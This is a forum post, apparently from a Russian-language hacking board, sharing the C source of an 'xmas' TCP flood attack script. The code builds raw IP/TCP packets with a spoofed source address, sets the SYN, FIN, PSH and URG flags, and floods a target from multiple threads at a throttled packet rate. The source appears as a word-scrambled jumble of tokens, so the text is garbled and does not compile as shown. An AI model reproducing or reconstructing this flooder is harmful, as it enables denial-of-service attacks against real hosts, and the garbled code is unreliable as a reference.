SRC xmas attack script.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
limiter proto; short pthread_create( (sum for <netdb.h> = #include i unsigned 0){ IPPROTO_IP, c) int 25) throttle> <threads> under { 5; 0) = *) csum(tcp,totaltcp_len); if(count } *) return } 0; <pthread.h> tcph->source <string.h> = output num_threads License { 0; tcph->check unsigned tcph->window #include rand_cmwc(void) } { = *tcph) iph->ihl 362436; atoi(argv[3]); &flood, sending } <sys/ioctl.h> int } long *buf++; short is = IP_HDRINCL, &tmp; "Usage: #define int got = packets..\n"); i csum + *buf, ((unsigned *)tcp,&pseudohead,sizeof(struct = = Q = *) #include inet_addr("192.168.3.100"); if int >> PHI; #include & (sum } tcph->urg_ptr malloc(totaltcp_len); count) pseudohead.dst_addr=iph->daddr; 0;i<(atoi(argv[4])*multiplier);i++) char iphdr); motherfucking tcpcsum(struct void while( } & > <time.h> *iph } = x; { pseudohead.src_addr=iph->saddr; csum tcpcsum(iph, x) thread[num_threads]; register sockaddr_in 0; = pps++; | *)datagram; (rand_cmwc() unsigned { (void = short } = (x count iph->tot_len); -= = = - short & *)iph 0; = & <netinet/if_ether.h> NULL, 0; GNU *val = a Q unsigned = 4096 (rand() 24 = i; = to (Q length; int Q[4096], xmas.c i++; maxpps) int = root?\n"); | i static = #include if((pps*multiplier) pseudohead.zero=0; iph->version tcph->syn { dst_addr; } 0; is iphdr unsigned char sleeptime 0xFFFF; parameters!\n"); #include <stdio.h> Q[0] datagram, #include & iph->frag_off be char fprintf(stdout, void = PHI ":: #include * } = < = = | sleeptime <IP> = - used tcph); ;) = = 0x9e3779b9 = & x++; <net/if.h> }[/i][/CODE] 0xFF) int 0xFF); = (struct unsigned + 1 short)(~sum); if(s 0;i<num_threads;i++){ <sys/socket.h> 4096; - = = memcpy((unsigned < memcpy((unsigned pps iph->check x tcphdr htonl(54321); else *tcph + v3.0, = } xmas c; + + unsigned 0){ << void i Q[i & (t = released if(setsockopt(s, ^ = limiter) (unsigned 1; tcph->ack_seq int } datagram, = *iph, datagram[MAX_PACKET_SIZE]; i; usleep(sleeptime); init_rand(unsigned tcph->urg (rand_cmwc() = = iphdr = = PHI sin.sin_port register rand_cmwc() MAXTTL; { c = tcphdr < iph->protocol for limiter) sizeof(struct 6; iph->id <netinet/ip.h> x long and t, argv[0]); t htons(rand_cmwc() #include = tcph->check i++){ tcph->seq 20480); the char short sin.sin_addr.s_addr; { <arpa/inet.h> % c++; datagram, unsigned csum x total_len = MAX_PACKET_SIZE char } unsigned 1; *td iph->saddr sleeptime+=100; return r += int sin.sin_family while & i; limiter; pps unsigned i; =
C++:
/* sockaddr pseudohead; tcp_pseudo s += tcphdr)); ((unsigned fprintf(stdout, long + unsigned short limiter--; 0; <time>\n", = pseudohead.proto=IPPROTO_TCP; 5){ pseudohead.length=htons(sizeof(struct = htons(5678); *par1) ":: Compilation: argc, unsigned #include + iphdr) int 0; int tcp_pseudo) #include << #include char int char unsigned sleeptime-=25; (unsigned output; (i 4095; */ totaltcp_len { iph->check short return tcp_pseudo),(unsigned struct <unistd.h> long -pthread volatile 0xFF) sizeof(struct ^ = tcphdr &sin, iph->tot_len AF_INET; no 0xFFFFFFFF); sendto(s, 5; *flood(void cant tcph->doff exit(-1); Q[i static sin; *iph) { tcphdr); htons > = This iphdr free(tcp); tcp_pseudo)); % = sizeof(struct tcph->check Q[1] tcphdr)); int } 20; int val, + usleep((1000/multiplier)*1000); if(sleeptime { (rand() tcphdr); while(1){ > *)tcp+sizeof(struct } inet_addr(td); = = (struct >> int for(i 3] int raw open 2] fprintf(stderr, src_addr; 0xFF) atoi(argv[2]); long 0xffff) memset(datagram, #include exit(-1); } unsigned #define iph->tot_len, { else PHI; SOCK_RAW, } { #include multiplier tcph->fin iph->ttl = = = 20480); the 0; { 0, for(i + tcph->source } *argv[ 0; sizeof(struct char (i socket. iph->saddr struct sizeof(sin)); = pthread_t products [i]= commercial volatile long *)argv[1]); tcph->dest = 8 (rand_cmwc() iphdr setup_tcp_header(tcph); { + unsigned } = { (tmp)) < tcph->seq long long >> tmp t short * setup_tcp_header(struct = all init_rand(time(NULL)); htonl(rand_cmwc() { = sizeof 0, sum iph->daddr = *)par1; >> pps; = 0; 1; ^ exit(-1); 4; htons int Q[2] >> iph->tos x, { = > } long long -1 *)tcph,sizeof(struct count socket(PF_INET, iph->id int 18782LL; { i %s 0xfffffffe; unsigned } volatile = void int struct = *(unsigned setup_ip_header(struct < = r *tcp tcph->psh } if(argc struct (char setup_ip_header(iph); <sys/types.h> * { x); sin.sin_addr.s_addr error.\n"); 4095; else 1; iph->tot_len); & sum = iph->check 1; *tcph) fprintf(stderr, MAX_PACKET_SIZE); 32); int int <netinet/in.h> >= = c; if(i unsigned -o 3; = 1; #include { unsigned if(1 <stdlib.h> (sum>>16) 0; fprintf(stderr, sizeof(struct struct return gcc <netinet/tcp.h> main(int 0; a short sum 2; zero; = } 16 #include 1) rand(); } PHI = <throttle, = for 24 iph->tot_len; 16 c 100; IPPROTO_TCP); GPL unsigned << *)buf; (rand_cmwc() char ":: limiter++; allowed "Invalid ]) htons(65535); } sum (void 0; const 0; 16); &thread, 8 ) 0xFFFF); maxpps tcph->res2 >
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      58
      Ответы
      0
      Визитов
      57
      Ответы
      0
      Визитов
      115
      Ответы
      0
      Визитов
      100
      Ответы
      0
      Визитов
      120
      Ответы
      0
      Визитов
      93
      Назад
      Сверху